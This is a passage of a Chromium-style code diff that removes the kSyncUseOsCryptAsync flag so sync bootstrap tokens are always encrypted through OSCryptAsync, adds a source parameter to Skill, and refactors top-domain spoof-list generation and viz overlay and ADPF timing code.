   void set_can_use_generative_ai_in_recorder_app(bool value);
 #endif
diff --git a/components/skills/public/skill.cc b/components/skills/public/skill.cc
index 3f01925..ef589c3 100644
--- a/components/skills/public/skill.cc
+++ b/components/skills/public/skill.cc
@@ -12,12 +12,14 @@
              const std::string& name,
              const std::string& icon,
              const std::string& prompt,
-             const std::string& description)
+             const std::string& description,
+             const sync_pb::SkillSource& source)
     : id(id),
       name(name),
       icon(icon),
       prompt(prompt),
-      description(description) {}
+      description(description),
+      source(source) {}
 
 Skill::Skill(const Skill&) = default;
 Skill& Skill::operator=(const Skill&) = default;
diff --git a/components/skills/public/skill.h b/components/skills/public/skill.h
index 7025964..710f2e2 100644
--- a/components/skills/public/skill.h
+++ b/components/skills/public/skill.h
@@ -28,12 +28,12 @@
   // The underlying LLM prompt for the skill.
   std::string prompt;
 
-  // The source of the skill which can be 1P or user created.
-  sync_pb::SkillSource source = sync_pb::SkillSource::SKILL_SOURCE_USER_CREATED;
-
   // The description of the skill.
   std::string description;
 
+  // The source of the skill which can be 1P or user created.
+  sync_pb::SkillSource source = sync_pb::SkillSource::SKILL_SOURCE_USER_CREATED;
+
   // The time when the skill was created.
   base::Time creation_time = base::Time::Now();
 
@@ -45,7 +45,9 @@
         const std::string& name,
         const std::string& icon,
         const std::string& prompt,
-        const std::string& description = "");
+        const std::string& description = "",
+        const sync_pb::SkillSource& source =
+            sync_pb::SkillSource::SKILL_SOURCE_USER_CREATED);
   Skill(const Skill&);
   Skill& operator=(const Skill&);
   Skill(Skill&&);
diff --git a/components/sync/base/features.cc b/components/sync/base/features.cc
index c9ddfe91..c8b77544 100644
--- a/components/sync/base/features.cc
+++ b/components/sync/base/features.cc
@@ -180,8 +180,6 @@
 BASE_FEATURE(kSyncPreferencesUseSelectedTypes,
              base::FEATURE_ENABLED_BY_DEFAULT);
 
-BASE_FEATURE(kSyncUseOsCryptAsync, base::FEATURE_ENABLED_BY_DEFAULT);
-
 BASE_FEATURE(kSyncDetermineAccountManagedStatus,
              base::FEATURE_DISABLED_BY_DEFAULT);
 BASE_FEATURE_PARAM(base::TimeDelta,
diff --git a/components/sync/base/features.h b/components/sync/base/features.h
index 5e80d64..e8c671e6 100644
--- a/components/sync/base/features.h
+++ b/components/sync/base/features.h
@@ -206,10 +206,6 @@
 // determine whether the pref values should be set in the account storage.
 BASE_DECLARE_FEATURE(kSyncPreferencesUseSelectedTypes);
 
-// When enabled, Sync will use OSCryptAsync for encryption/decryption instead
-// of OSCrypt within the sync code.
-BASE_DECLARE_FEATURE(kSyncUseOsCryptAsync);
-
 BASE_DECLARE_FEATURE(kSyncDetermineAccountManagedStatus);
 BASE_DECLARE_FEATURE_PARAM(base::TimeDelta,
                            kSyncDetermineAccountManagedStatusTimeout);
diff --git a/components/sync/service/BUILD.gn b/components/sync/service/BUILD.gn
index 30bd373..9744511 100644
--- a/components/sync/service/BUILD.gn
+++ b/components/sync/service/BUILD.gn
@@ -113,7 +113,6 @@
     "//components/metrics",
     "//components/os_crypt/async/browser",
     "//components/os_crypt/async/common",
-    "//components/os_crypt/sync",
     "//components/policy:generated",
     "//components/policy/core/browser",
     "//components/prefs",
diff --git a/components/sync/service/DEPS b/components/sync/service/DEPS
index 936e27b..60da596 100644
--- a/components/sync/service/DEPS
+++ b/components/sync/service/DEPS
@@ -2,7 +2,6 @@
   "+components/keyed_service/core",
   "+components/metrics",
   "+components/os_crypt/async",
-  "+components/os_crypt/sync",
   "+components/password_manager/core/browser/split_stores_and_local_upm.h",
   "+components/policy",
   "+components/pref_registry",
diff --git a/components/sync/service/glue/sync_engine_impl_unittest.cc b/components/sync/service/glue/sync_engine_impl_unittest.cc
index aa661a5f..edf3acf5 100644
--- a/components/sync/service/glue/sync_engine_impl_unittest.cc
+++ b/components/sync/service/glue/sync_engine_impl_unittest.cc
@@ -203,14 +203,13 @@
     params.authenticated_account_info.account_id =
         CoreAccountId::FromGaiaId(gaia_id);
     params.sync_manager_factory = std::move(fake_manager_factory_);
-    if (base::FeatureList::IsEnabled(syncer::kSyncUseOsCryptAsync)) {
-      std::unique_ptr<os_crypt_async::OSCryptAsync> os_cryp_async =
-          os_crypt_async::GetTestOSCryptAsyncForTesting();
-      base::test::TestFuture<os_crypt_async::Encryptor> future;
-      os_cryp_async->GetInstance(future.GetCallback());
-      params.encryptor =
-          std::make_unique<os_crypt_async::Encryptor>(future.Take());
-    }
+
+    std::unique_ptr<os_crypt_async::OSCryptAsync> os_crypt_async =
+        os_crypt_async::GetTestOSCryptAsyncForTesting();
+    base::test::TestFuture<os_crypt_async::Encryptor> future;
+    os_crypt_async->GetInstance(future.GetCallback());
+    params.encryptor =
+        std::make_unique<os_crypt_async::Encryptor>(future.Take());
 
     EXPECT_CALL(mock_host_, OnEngineInitialized(expect_success, _))
         .WillOnce(
diff --git a/components/sync/service/sync_service_crypto.cc b/components/sync/service/sync_service_crypto.cc
index 6bd57f0..b77f84ac 100644
--- a/components/sync/service/sync_service_crypto.cc
+++ b/components/sync/service/sync_service_crypto.cc
@@ -14,8 +14,6 @@
 #include "base/strings/to_string.h"
 #include "base/task/sequenced_task_runner.h"
 #include "components/os_crypt/async/common/encryptor.h"
-#include "components/os_crypt/sync/os_crypt.h"
-#include "components/sync/base/features.h"
 #include "components/sync/base/passphrase_enums.h"
 #include "components/sync/engine/nigori/nigori.h"
 #include "components/sync/engine/sync_string_conversions.h"
@@ -831,14 +829,9 @@
   }
 
   std::string decrypted_key;
-  bool decryption_result;
-  if (base::FeatureList::IsEnabled(kSyncUseOsCryptAsync)) {
-    // If the feature is enabled, the encryptor must be available.
-    CHECK(encryptor_);
-    decryption_result = encryptor_->DecryptString(decoded_key, &decrypted_key);
-  } else {
-    decryption_result = OSCrypt::DecryptString(decoded_key, &decrypted_key);
-  }
+  CHECK(encryptor_);
+  bool decryption_result =
+      encryptor_->DecryptString(decoded_key, &decrypted_key);
   base::UmaHistogramBoolean("Sync.BootstrapTokenDecryptionResult",
                             decryption_result);
   if (!decryption_result) {
@@ -866,15 +859,9 @@
   }
 
   std::string encrypted_key;
-  bool encryption_result;
-  if (base::FeatureList::IsEnabled(kSyncUseOsCryptAsync)) {
-    // If the feature is enabled, the encryptor must be available.
-    CHECK(encryptor_);
-    encryption_result =
-        encryptor_->EncryptString(serialized_key, &encrypted_key);
-  } else {
-    encryption_result = OSCrypt::EncryptString(serialized_key, &encrypted_key);
-  }
+  CHECK(encryptor_);
+  bool encryption_result =
+      encryptor_->EncryptString(serialized_key, &encrypted_key);
   base::UmaHistogramBoolean("Sync.BootstrapTokenEncryptionResult",
                             encryption_result);
   if (!encryption_result) {
diff --git a/components/sync/service/sync_service_crypto_unittest.cc b/components/sync/service/sync_service_crypto_unittest.cc
index c54c37c..8205faf 100644
--- a/components/sync/service/sync_service_crypto_unittest.cc
+++ b/components/sync/service/sync_service_crypto_unittest.cc
@@ -4,16 +4,17 @@
 
 #include "components/sync/service/sync_service_crypto.h"
 
+#include <functional>
 #include <utility>
 
 #include "base/base64.h"
 #include "base/functional/callback.h"
 #include "base/test/metrics/histogram_tester.h"
+#include "base/test/test_future.h"
+#include "components/os_crypt/async/browser/os_crypt_async.h"
+#include "components/os_crypt/async/browser/test_utils.h"
 #include "components/os_crypt/async/common/encryptor.h"
-#include "components/os_crypt/sync/os_crypt.h"
-#include "components/os_crypt/sync/os_crypt_mocker.h"
 #include "components/signin/public/identity_manager/account_info.h"
-#include "components/sync/base/features.h"
 #include "components/sync/base/time.h"
 #include "components/sync/engine/nigori/key_derivation_params.h"
 #include "components/sync/engine/nigori/nigori.h"
@@ -61,7 +62,8 @@
 }
 
 std::string CreateBootstrapToken(const std::string& passphrase,
-                                 const KeyDerivationParams& derivation_params) {
+                                 const KeyDerivationParams& derivation_params,
+                                 const os_crypt_async::Encryptor& encryptor) {
   std::unique_ptr<Nigori> nigori =
       Nigori::CreateByDerivation(derivation_params, passphrase);
 
@@ -73,12 +75,7 @@
   EXPECT_FALSE(serialized_key.empty());
 
   std::string encrypted_key;
-  if (base::FeatureList::IsEnabled(kSyncUseOsCryptAsync)) {
-    EXPECT_TRUE(
-        GetEncryptorForTest().EncryptString(serialized_key, &encrypted_key));
-  } else {
-    EXPECT_TRUE(OSCrypt::EncryptString(serialized_key, &encrypted_key));
-  }
+  EXPECT_TRUE(encryptor.EncryptString(serialized_key, &encrypted_key));
 
   return base::Base64Encode(encrypted_key);
 }
@@ -89,9 +86,10 @@
          !params.scrypt_salt().empty();
 }
 
-MATCHER_P2(BootstrapTokenDerivedFrom,
+MATCHER_P3(BootstrapTokenDerivedFrom,
            expected_passphrase,
            expected_derivation_params,
+           encryptor,
            "") {
   const std::string& given_bootstrap_token = arg;
   std::string decoded_key;
@@ -100,14 +98,8 @@
   }
 
   std::string decrypted_key;
-  if (base::FeatureList::IsEnabled(kSyncUseOsCryptAsync)) {
-    if (!GetEncryptorForTest().DecryptString(decoded_key, &decrypted_key)) {
-      return false;
-    }
-  } else {
-    if (!OSCrypt::DecryptString(decoded_key, &decrypted_key)) {
-      return false;
-    }
+  if (!encryptor.get().DecryptString(decoded_key, &decrypted_key)) {
+    return false;
   }
 
   sync_pb::NigoriKey given_key;
@@ -159,10 +151,8 @@
     trusted_vault_client_.server()->StoreKeysOnServer(kSyncingAccount.gaia,
                                                       kInitialTrustedVaultKeys);
 
-    if (base::FeatureList::IsEnabled(kSyncUseOsCryptAsync)) {
-      crypto_.SetEncryptor(
-          std::make_unique<os_crypt_async::Encryptor>(GetEncryptorForTest()));
-    }
+    crypto_.SetEncryptor(
+        std::make_unique<os_crypt_async::Encryptor>(GetEncryptorForTest()));
 
     ON_CALL(delegate_, GetPassphraseType())
         .WillByDefault(ReturnPointee(&passphrase_type_));
@@ -172,9 +162,19 @@
 
   ~SyncServiceCryptoTest() override = default;
 
-  void SetUp() override { OSCryptMocker::SetUp(); }
+  void SetUp() override {
+    os_crypt_async_ = os_crypt_async::GetTestOSCryptAsyncForTesting(
+        /*is_sync_for_unittests=*/true);
+    crypto_.SetEncryptor(
+        std::make_unique<os_crypt_async::Encryptor>(GetEncryptor()));
+    encryptor_ = std::make_unique<os_crypt_async::Encryptor>(GetEncryptor());
+  }
 
-  void TearDown() override { OSCryptMocker::TearDown(); }
+  os_crypt_async::Encryptor GetEncryptor() {
+    base::test::TestFuture<os_crypt_async::Encryptor> future;
+    os_crypt_async_->GetInstance(future.GetCallback());
+    return future.Take();
+  }
 
   bool VerifyAndClearExpectations() {
     return testing::Mock::VerifyAndClearExpectations(&delegate_) &&
@@ -195,6 +195,8 @@
   trusted_vault::FakeTrustedVaultClient trusted_vault_client_;
   testing::NiceMock<MockSyncEngine> engine_;
   SyncServiceCrypto crypto_;
+  std::unique_ptr<os_crypt_async::OSCryptAsync> os_crypt_async_;
+  std::unique_ptr<os_crypt_async::Encryptor> encryptor_;
 };
 
 // Happy case where no user action is required upon startup.
@@ -270,7 +272,8 @@
   EXPECT_CALL(delegate_, ReconfigureDataTypesDueToCrypto()).Times(2);
   EXPECT_CALL(delegate_,
               SetEncryptionBootstrapToken(BootstrapTokenDerivedFrom(
-                  kTestPassphrase, KeyDerivationParams::CreateForPbkdf2())));
+                  kTestPassphrase, KeyDerivationParams::CreateForPbkdf2(),
+                  std::ref(*encryptor_))));
   EXPECT_TRUE(crypto_.SetDecryptionPassphrase(kTestPassphrase));
   EXPECT_FALSE(crypto_.IsPassphraseRequired());
 }
@@ -301,7 +304,8 @@
   testing::InSequence seq;
   EXPECT_CALL(delegate_,
               SetEncryptionBootstrapToken(BootstrapTokenDerivedFrom(
-                  kTestPassphrase, KeyDerivationParams::CreateForPbkdf2())));
+                  kTestPassphrase, KeyDerivationParams::CreateForPbkdf2(),
+                  std::ref(*encryptor_))));
   // The current implementation issues two reconfigurations: one immediately
   // after checking the passphrase in the UI thread and a second time later when
   // the engine confirms with OnPassphraseAccepted().
@@ -318,7 +322,8 @@
   // Mimic passphrase stored in bootstrap token.
   ON_CALL(delegate_, GetEncryptionBootstrapToken())
       .WillByDefault(Return(CreateBootstrapToken(
-          kTestPassphrase, KeyDerivationParams::CreateForPbkdf2())));
+          kTestPassphrase, KeyDerivationParams::CreateForPbkdf2(),
+          *encryptor_)));
 
   // Expect setting decryption key without waiting till user enters the
   // passphrase.
@@ -345,7 +350,8 @@
   // Mimic passphrase stored in bootstrap token.
   ON_CALL(delegate_, GetEncryptionBootstrapToken())
       .WillByDefault(Return(CreateBootstrapToken(
-          kTestPassphrase, KeyDerivationParams::CreateForPbkdf2())));
+          kTestPassphrase, KeyDerivationParams::CreateForPbkdf2(),
+          *encryptor_)));
 
   // Mimic the engine determining that a passphrase is required. Note that
   // `crypto_` isn't yet aware of engine initialization - this is a legitimate
@@ -377,7 +383,8 @@
   // Mimic wrong passphrase stored in bootstrap token.
   ON_CALL(delegate_, GetEncryptionBootstrapToken())
       .WillByDefault(Return(CreateBootstrapToken(
-          "wrongpassphrase", KeyDerivationParams::CreateForPbkdf2())));
+          "wrongpassphrase", KeyDerivationParams::CreateForPbkdf2(),
+          *encryptor_)));
 
   // Mimic the engine determining that a passphrase is required.
   EXPECT_CALL(delegate_, ReconfigureDataTypesDueToCrypto());
@@ -468,7 +475,8 @@
   EXPECT_CALL(delegate_, ReconfigureDataTypesDueToCrypto()).Times(2);
   EXPECT_CALL(delegate_,
               SetEncryptionBootstrapToken(BootstrapTokenDerivedFrom(
-                  kTestPassphrase, KeyDerivationParams::CreateForPbkdf2())));
+                  kTestPassphrase, KeyDerivationParams::CreateForPbkdf2(),
+                  std::ref(*encryptor_))));
   crypto_.SetExplicitPassphraseDecryptionNigoriKey(Nigori::CreateByDerivation(
       KeyDerivationParams::CreateForPbkdf2(), kTestPassphrase));
   EXPECT_FALSE(crypto_.IsPassphraseRequired());
@@ -534,7 +542,8 @@
   // Mimic passphrase being stored in bootstrap token.
   ON_CALL(delegate_, GetEncryptionBootstrapToken)
       .WillByDefault(Return(CreateBootstrapToken(
-          kTestPassphrase, KeyDerivationParams::CreateForPbkdf2())));
+          kTestPassphrase, KeyDerivationParams::CreateForPbkdf2(),
+          *encryptor_)));
 
   std::unique_ptr<Nigori> expected_nigori = Nigori::CreateByDerivation(
       KeyDerivationParams::CreateForPbkdf2(), kTestPassphrase);
diff --git a/components/sync/service/sync_service_impl.cc b/components/sync/service/sync_service_impl.cc
index 2b5608a6..58d10932 100644
--- a/components/sync/service/sync_service_impl.cc
+++ b/components/sync/service/sync_service_impl.cc
@@ -252,8 +252,7 @@
   DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
   DCHECK(sync_client_);
   DCHECK(IsLocalSyncEnabled() || identity_manager_ != nullptr);
-  CHECK_EQ(base::FeatureList::IsEnabled(syncer::kSyncUseOsCryptAsync),
-           os_crypt_async_ != nullptr);
+  CHECK(os_crypt_async_);
 
   // If Sync is disabled via command line flag, then SyncServiceImpl
   // shouldn't be instantiated.
@@ -562,35 +561,20 @@
 }
 
 void SyncServiceImpl::TryStart() {
-  if (base::FeatureList::IsEnabled(syncer::kSyncUseOsCryptAsync)) {
-    CHECK(os_crypt_async_);
-    // It's possible for this to be called multiple times before the callback
-    // runs (e.g. if the user signs out and back in again). This is safe, as
-    // OSCryptAsync will just queue the callbacks and run them once the
-    // encryptor is available. The first call to TryStartImpl() that succeeds
-    // will create the engine, and subsequent ones will be no-ops. Two
-    // instances of Encryptor are needed, one for SyncServiceImpl and one for
-    // SyncEngine.
-    auto on_encryptors_gotten =
-        base::BindOnce(&SyncServiceImpl::TryStartImpl,
-                       weak_factory_.GetWeakPtr(), base::TimeTicks::Now());
+  CHECK(os_crypt_async_);
+  // It's possible for this to be called multiple times before the callback
+  // runs (e.g. if the user signs out and back in again). This is safe, as
+  // OSCryptAsync will just queue the callbacks and run them once the
+  // encryptor is available. The first call to TryStartImpl() that succeeds
+  // will create the engine, and subsequent ones will be no-ops.
+  auto barrier = base::BarrierCallback<os_crypt_async::Encryptor>(
+      2, base::BindOnce(&SyncServiceImpl::TryStartImpl,
+                        weak_factory_.GetWeakPtr(), base::TimeTicks::Now()));
 
-    auto barrier = base::BarrierCallback<os_crypt_async::Encryptor>(
-        2, std::move(on_encryptors_gotten));
-
-    // TODO(419157433): Remove the option to get the encryptor for SyncEngine
-    //  once the kSyncUseOsCryptAsync feature is enabled by default.
-    os_crypt_async_->GetInstance(
-        barrier, os_crypt_async::Encryptor::Option::kEncryptSyncCompat);
-    os_crypt_async_->GetInstance(
-        barrier, os_crypt_async::Encryptor::Option::kEncryptSyncCompat);
-  } else {
-    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
-        FROM_HERE,
-        base::BindOnce(&SyncServiceImpl::TryStartImpl,
-                       weak_factory_.GetWeakPtr(), base::TimeTicks::Now(),
-                       std::vector<os_crypt_async::Encryptor>()));
-  }
+  // One instance of Encryptor is needed for SyncServiceImpl and one for
+  // SyncEngine.
+  os_crypt_async_->GetInstance(barrier);
+  os_crypt_async_->GetInstance(barrier);
 }
 
 void SyncServiceImpl::TryStartImpl(
@@ -603,18 +587,15 @@
     return;
   }
 
-  std::unique_ptr<os_crypt_async::Encryptor> engine_encryptor;
-  if (!encryptors.empty()) {
-    CHECK_EQ(encryptors.size(), 2u);
-    base::UmaHistogramTimes("Sync.EncryptorReceivedTime",
-                            base::TimeTicks::Now() - try_start_time);
-    crypto_.SetEncryptor(std::make_unique<os_crypt_async::Encryptor>(
-        std::move(encryptors.at(0))));
-    engine_encryptor = std::make_unique<os_crypt_async::Encryptor>(
-        std::move(encryptors.at(1)));
-  } else {
-    crypto_.SetEncryptor(nullptr);
-  }
+  CHECK_EQ(encryptors.size(), 2u);
+
+  base::UmaHistogramTimes("Sync.EncryptorReceivedTime",
+                          base::TimeTicks::Now() - try_start_time);
+
+  // One instance of Encryptor is needed for SyncServiceImpl and one for
+  // SyncEngine.
+  crypto_.SetEncryptor(
+      std::make_unique<os_crypt_async::Encryptor>(std::move(encryptors[0])));
 
   if (!deferral_time.is_null()) {
     base::UmaHistogramCustomTimes("Sync.Startup.TimeDeferred2",
@@ -671,7 +652,8 @@
       std::make_unique<EngineComponentsFactoryImpl>(
           EngineSwitchesFromCommandLine());
 
-  params.encryptor = std::move(engine_encryptor);
+  params.encryptor =
+      std::make_unique<os_crypt_async::Encryptor>(std::move(encryptors[1]));
 
   if (!IsLocalSyncEnabled()) {
     auth_manager_->ConnectionOpened();
diff --git a/components/sync/service/sync_user_settings_impl_unittest.cc b/components/sync/service/sync_user_settings_impl_unittest.cc
index c9d631c..f2e25a0 100644
--- a/components/sync/service/sync_user_settings_impl_unittest.cc
+++ b/components/sync/service/sync_user_settings_impl_unittest.cc
@@ -113,11 +113,8 @@
 
     sync_service_crypto_ = std::make_unique<SyncServiceCrypto>(
         &sync_service_crypto_delegate_, &trusted_vault_client_);
-    if (base::FeatureList::IsEnabled(kSyncUseOsCryptAsync)) {
-      sync_service_crypto_->SetEncryptor(
-          std::make_unique<os_crypt_async::Encryptor>(
-              GetEncryptorForTest()));
-    }
+    sync_service_crypto_->SetEncryptor(
+        std::make_unique<os_crypt_async::Encryptor>(GetEncryptorForTest()));
 
     ON_CALL(delegate_, IsCustomPassphraseAllowed).WillByDefault(Return(true));
     ON_CALL(delegate_, GetSyncAccountStateForPrefs)
diff --git a/components/sync/test/sync_service_impl_bundle.cc b/components/sync/test/sync_service_impl_bundle.cc
index 94f4459..ab37f441 100644
--- a/components/sync/test/sync_service_impl_bundle.cc
+++ b/components/sync/test/sync_service_impl_bundle.cc
@@ -64,9 +64,7 @@
   init_params.network_connection_tracker =
       network::TestNetworkConnectionTracker::GetInstance();
   init_params.debug_identifier = "fakeDebugName";
-  if (base::FeatureList::IsEnabled(syncer::kSyncUseOsCryptAsync)) {
-    init_params.os_crypt_async = os_crypt_async_.get();
-  }
+  init_params.os_crypt_async = os_crypt_async_.get();
 
   return init_params;
 }
diff --git a/components/url_formatter/spoof_checks/top_domains/make_top_domain_list_variables.cc b/components/url_formatter/spoof_checks/top_domains/make_top_domain_list_variables.cc
index 6b1d36d2..579bccb 100644
--- a/components/url_formatter/spoof_checks/top_domains/make_top_domain_list_variables.cc
+++ b/components/url_formatter/spoof_checks/top_domains/make_top_domain_list_variables.cc
@@ -21,7 +21,7 @@
 
 #include <algorithm>
 #include <iostream>
-#include <set>
+#include <iterator>
 #include <sstream>
 #include <string>
 #include <vector>
@@ -33,12 +33,14 @@
 #include "base/logging.h"
 #include "base/logging/logging_settings.h"
 #include "base/path_service.h"
+#include "base/strings/strcat.h"
 #include "base/strings/string_split.h"
 #include "base/strings/string_util.h"
 #include "base/strings/utf_string_conversions.h"
 #include "build/build_config.h"
 #include "components/url_formatter/spoof_checks/common_words/common_words_util.h"
 #include "components/url_formatter/spoof_checks/top_domains/top_domain_util.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_set.h"
 #include "third_party/icu/source/common/unicode/unistr.h"
 #include "third_party/icu/source/common/unicode/utypes.h"
 #include "third_party/icu/source/i18n/unicode/uspoof.h"
@@ -94,6 +96,7 @@
 #if BUILDFLAG(IS_WIN)
   std::vector<std::string> args;
   base::CommandLine::StringVector wide_args = command_line.GetArgs();
+  args.reserve(wide_args.size());
   for (const auto& arg : wide_args) {
     args.push_back(base::WideToUTF8(arg));
   }
@@ -133,8 +136,8 @@
     return 1;
   }
 
-  std::set<std::string> skeletons;
-  std::set<std::string> keywords;
+  absl::flat_hash_set<std::string> skeletons;
+  absl::flat_hash_set<std::string> keywords;
 
   for (std::string line : lines) {
     if (skeletons.size() >= kMaxDomains && keywords.size() >= kMaxKeywords) {
@@ -152,10 +155,7 @@
 
     if (skeletons.size() < kMaxDomains &&
         url_formatter::top_domains::IsEditDistanceCandidate(line)) {
-      const std::string skeleton = GetSkeleton(line, spoof_checker.get());
-      if (skeletons.find(skeleton) == skeletons.end()) {
-        skeletons.insert(skeleton);
-      }
+      skeletons.insert(GetSkeleton(line, spoof_checker.get()));
     }
 
     if (keywords.size() < kMaxKeywords) {
@@ -166,7 +166,7 @@
           keyword.length() >= kMinKeywordLength &&
           !ContainsOnlyDigits(keyword) &&
           !url_formatter::common_words::IsCommonWord(keyword)) {
-        keywords.insert(keyword);
+        keywords.insert(std::move(keyword));
       }
     }
   }
@@ -174,7 +174,9 @@
   CHECK_LE(skeletons.size(), kMaxDomains);
   CHECK_LE(keywords.size(), kMaxKeywords);
 
-  std::vector<std::string> sorted_skeletons(skeletons.begin(), skeletons.end());
+  std::vector<std::string> sorted_skeletons(
+      std::make_move_iterator(skeletons.begin()),
+      std::make_move_iterator(skeletons.end()));
   std::sort(sorted_skeletons.begin(), sorted_skeletons.end());
 
   std::ostringstream output_stream;
@@ -187,8 +189,7 @@
 )";
 
   for (const std::string& skeleton : sorted_skeletons) {
-    output_stream << ("\"" + skeleton + "\"");
-    output_stream << ",\n";
+    output_stream << base::StrCat({"\"", skeleton, "\"", ",\n"});
   }
   output_stream << R"(};
   constexpr size_t kNumTopBucketEditDistanceSkeletons = )"
diff --git a/components/viz/common/features.cc b/components/viz/common/features.cc
index 0cb7ed2..04b81f716 100644
--- a/components/viz/common/features.cc
+++ b/components/viz/common/features.cc
@@ -289,11 +289,6 @@
 // instead of Viz. The goal is to prevent Viz from blocking on a binder call.
 BASE_FEATURE(kEnableADPFAsyncSetThreads, base::FEATURE_DISABLED_BY_DEFAULT);
 
-// If enabled, Chrome ignores the time spent between swap throttled and the
-// next ScheduleBeginFrameDeadline when sending an ADPF(Android Dynamic
-// Performance Framework) timing report.
-BASE_FEATURE(kEnableADPFIgnoreThrottledTime, base::FEATURE_DISABLED_BY_DEFAULT);
-
 // If enabled, we immediately send acks to clients when a viz surface
 // activates. This effectively removes back-pressure. This can result in wasted
 // work and contention, but should regularize the timing of client rendering.
diff --git a/components/viz/common/features.h b/components/viz/common/features.h
index 36130a632..92014f61e 100644
--- a/components/viz/common/features.h
+++ b/components/viz/common/features.h
@@ -118,7 +118,6 @@
 extern const VIZ_COMMON_EXPORT base::FeatureParam<base::TimeDelta>
     kAdpfBoostRateLimitMinWait;
 VIZ_COMMON_EXPORT BASE_DECLARE_FEATURE(kEnableADPFAsyncSetThreads);
-VIZ_COMMON_EXPORT BASE_DECLARE_FEATURE(kEnableADPFIgnoreThrottledTime);
 VIZ_COMMON_EXPORT BASE_DECLARE_FEATURE(kSelectFutureFrameDeadline);
 VIZ_COMMON_EXPORT BASE_DECLARE_FEATURE(kUseDisplaySDRMaxLuminanceNits);
 VIZ_COMMON_EXPORT BASE_DECLARE_FEATURE(kHideDelegatedFrameHostMac);
diff --git a/components/viz/common/frame_sinks/begin_frame_args.h b/components/viz/common/frame_sinks/begin_frame_args.h
index e6bdbfa..40d5a63 100644
--- a/components/viz/common/frame_sinks/begin_frame_args.h
+++ b/components/viz/common/frame_sinks/begin_frame_args.h
@@ -202,12 +202,6 @@
   // The time at which the frame started. Used, for example, by animations to
   // decide to slow down or skip ahead.
   base::TimeTicks frame_time;
-
-  // For excluding the time spent between swap throttled and the next
-  // ScheduleBeginFrameDeadline in ADPF frame duration reports.
-  bool is_throttled;
-  base::TimeTicks throttled_adjusted_frame_time;
-
   // The time by which the receiving pipeline stage should do its work.
   base::TimeTicks deadline;
   // The inverse of the desired frame rate.
diff --git a/components/viz/service/display/direct_renderer.cc b/components/viz/service/display/direct_renderer.cc
index f6de625..16d79ac 100644
--- a/components/viz/service/display/direct_renderer.cc
+++ b/components/viz/service/display/direct_renderer.cc
@@ -292,27 +292,6 @@
         output_surface_->GetDisplayTransform());
     overlay_processor_->SetViewportSize(device_viewport_size);
 
-    // Before ProcessForOverlay calls into the hardware to ask about whether the
-    // overlay setup can be handled, we need to set up the primary plane.
-    std::optional<OverlayCandidate> primary_plane;
-    if (output_surface_->capabilities().renderer_allocates_images) {
-      primary_plane = overlay_processor_->ProcessOutputSurfaceAsOverlay(
-          device_viewport_size, surface_resource_size, frame_si_format,
-          frame_color_space,
-          current_frame()->root_render_pass->has_transparent_background,
-          1.0f /*opacity*/, GetPrimaryPlaneOverlayTestingMailbox());
-
-      if (current_frame()->display_color_spaces.SupportsHDR() &&
-          current_frame()->root_render_pass->content_color_usage ==
-              gfx::ContentColorUsage::kHDR) {
-        primary_plane->hdr_metadata.extended_range.emplace();
-        // TODO(crbug.com/40263227): Track the actual brightness of the
-        // content. For now, assume that all HDR content is 1,000 nits.
-        primary_plane->hdr_metadata.extended_range->desired_headroom =
-            gfx::HdrMetadataExtendedRange::kDefaultHdrHeadroom;
-      }
-    }
-
     // Attempt to replace some or all of the quads of the root render pass with
     // overlays.
     base::ElapsedTimer overlay_processing_timer;
@@ -320,8 +299,25 @@
         resource_provider_, render_passes_in_draw_order,
         output_surface_->color_matrix(), render_pass_filters_,
         render_pass_backdrop_filters_, std::move(surface_damage_rect_list),
-        primary_plane, &current_frame()->overlay_list,
-        &current_frame()->root_damage_rect,
+        OverlayProcessorInterface::PrimaryPlaneParams{
+            .viewport_size = device_viewport_size,
+            .resource_size_in_pixels = surface_resource_size,
+            .supports_hdr =
+                current_frame()->display_color_spaces.SupportsHDR() &&
+                render_passes_in_draw_order->back()->content_color_usage ==
+                    gfx::ContentColorUsage::kHDR,
+            .is_opaque = !render_passes_in_draw_order->back()
+                              ->has_transparent_background,
+            .si_format = frame_si_format,
+            .color_space = frame_color_space,
+#if BUILDFLAG(IS_OZONE)
+            .overlay_testing_mailbox =
+                output_surface_->capabilities().renderer_allocates_images
+                    ? GetPrimaryPlaneOverlayTestingMailbox()
+                    : gpu::Mailbox(),
+#endif
+        },
+        &current_frame()->overlay_list, &current_frame()->root_damage_rect,
         &current_frame()->root_content_bounds);
     auto overlay_processing_time = overlay_processing_timer.Elapsed();
 
@@ -1226,8 +1222,10 @@
   return gfx::Rect();
 }
 
+#if BUILDFLAG(IS_OZONE)
 gpu::Mailbox DirectRenderer::GetPrimaryPlaneOverlayTestingMailbox() {
   NOTREACHED();
 }
+#endif
 
 }  // namespace viz
diff --git a/components/viz/service/display/direct_renderer.h b/components/viz/service/display/direct_renderer.h
index 5da72e7..da3bd0e 100644
--- a/components/viz/service/display/direct_renderer.h
+++ b/components/viz/service/display/direct_renderer.h
@@ -195,9 +195,11 @@
   // 0 < n <= capabilities_.number_of_buffers.
   virtual void EnsureMinNumberOfBuffers(int n) {}
 
+#if BUILDFLAG(IS_OZONE)
   // Gets a mailbox that can be used for overlay testing the primary plane. This
   // does not need to be the next mailbox that will be swapped.
   virtual gpu::Mailbox GetPrimaryPlaneOverlayTestingMailbox();
+#endif
 
   // Return the bounding rect of previously drawn delegated ink trail.
   gfx::Rect GetDelegatedInkTrailDamageRect();
diff --git a/components/viz/service/display/display.cc b/components/viz/service/display/display.cc
index dbec758..5f5f23f 100644
--- a/components/viz/service/display/display.cc
+++ b/components/viz/service/display/display.cc
@@ -259,8 +259,7 @@
     HintSession::BoostType boost_type,
     int64_t choreographer_vsync_id,
     std::optional<PossibleDeadline> deadline,
-    std::optional<PossibleDeadline> preferred,
-    base::TimeTicks throttled_adjusted_frame_time) {
+    std::optional<PossibleDeadline> preferred) {
   frame_time_ = frame_time;
   interval_ = interval;
   draw_start_timestamp_ = draw_start_timestamp;
@@ -270,7 +269,6 @@
   choreographer_vsync_id_ = choreographer_vsync_id;
   deadline_ = std::move(deadline);
   preferred_ = std::move(preferred);
-  throttled_adjusted_frame_time_ = throttled_adjusted_frame_time;
 }
 
 void Display::PresentationGroupTiming::OnSwap(gfx::SwapTimings timings,
@@ -281,19 +279,6 @@
     return;
 
   auto frame_latency = timings.swap_start - frame_time_;
-  if (throttled_adjusted_frame_time_ != base::TimeTicks() &&
-      base::FeatureList::IsEnabled(features::kEnableADPFIgnoreThrottledTime)) {
